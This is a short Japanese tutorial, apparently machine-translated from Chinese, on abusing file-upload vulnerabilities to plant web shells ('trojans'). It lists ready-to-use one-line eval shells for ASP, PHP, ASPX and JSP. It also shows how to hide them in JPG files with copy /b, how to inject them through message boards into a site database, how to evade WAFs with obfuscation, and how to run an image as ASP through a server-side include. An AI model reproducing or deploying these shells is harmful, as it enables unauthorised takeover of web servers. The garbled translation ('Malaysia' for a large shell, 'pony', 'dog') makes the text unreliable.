シンプルなトロイの木馬の使用のアップロードの脆弱性（WAFを含みます）

トロイの木馬文

asp：<%eval request("heroes")%>

php：<?php @eval($_POST[12345]);?>

aspx：<%@ Page Language="Jscript"%><%eval(Request.Item["12345"],"unsafe");%>

jsp：<% if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());%> //保存为1.jsp，提交url为 http://localhost/1.jsp?f=1.txt&;t=hello，访问http://localhost/1.txt 出来hello

• 製造方法：
  1.C32直接書き込み
  2.cmd copy /b 1.jpg+1.asp 2.jpg
  挿入右財産権（高隠されていません）

工程（ここで、ASPのために例えば）

1.データベース形式は、ASPサイトで見つけて、メッセージボードや記事を経由してトロイの木馬のASPデータベースに単語を追加したり、ページを追加する
2.私たちの目的は、データベースに彼を置くことである、どんなにどのような方法
3. [お客様終了（、コンピュータ上のHTMファイルである）、フィルがページASP文章やASPファイルに入社し、その後、サーバーを入力します。

トロイの木馬は、ツールのポニーを使って単語を広めるために継続します

マレーシア経由ポニーパス

マレーシアは、この効果であります

使用すると、WAF暗号化

秘密についての単語を追加するために暗号化されたファイルを見つけるためにインターネットへ1.
2.犬は、単語の原則を持っていた：WAFを迂回して、変数を乱すことにより、単語トロイの木馬に再構築機能を使用して

WAFの上に含みます

• オンラインチェックを含むことができ、コードの様々なタイプの
  2つのファイルbao.aspと1.JPG（トロイの木馬）をアップロードするには、ここ
  bao.aspを：< - ＃ファイル=「1.JPG」が含まれます- ？>
• 1.JPGは、画像フォーマットであるため、コードが実行されていないので、ASPの実行として（すなわちトロイの木馬）bao.asp実行し、bao.aspターン1.JPGします